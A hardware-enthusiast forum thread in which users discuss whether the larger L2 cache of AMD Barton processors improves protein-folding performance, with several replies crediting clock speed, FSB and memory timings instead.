Barton help folding?

[Tilmitt]

Does the extra L2 cache in Bartons make them any better at folding?

[Crazymofo]

I dont think so but I could be wrong...

Ah, it's ok. Just trying something a bit complex. Images weren't meant to be made on the fly.

Thank you Tweaked!

we;come to xtreme sickness toast and tilmitt

[Twisted]

welcome to both of you!

[Tilmitt]

Thanks for welcome everyone..........can anyone answer the question?

I don't think it would make much of a difference at all.

As folding is highly CPU intensive, and eahc WU is divided into smaller stages, cache would make minimal difference to the overall folding speed.
Major components would be CPU speed, FSB speed and memory timings imo.

[Tilmitt]

ok thanks for the help

[Paladin]

If it's anything like 3d rendering, then speed (mhz or instructions per cycle, however you want to measure it) makes the biggest difference. I've tested keeping the CPU at the same mhz but changing the FSB and multiplier for Lightwave rendering and it didn't make much of a difference.

Ok Here's MY barton 2500+ at a relaxed 2100 mhz.

I have a 1700+ JIUHB clocked at 2090 and it gets almost identical times per frame for 54x proteins so I suspect that bartons don't give much of a boost if any (fsb and mem speed will make more difference I would think)
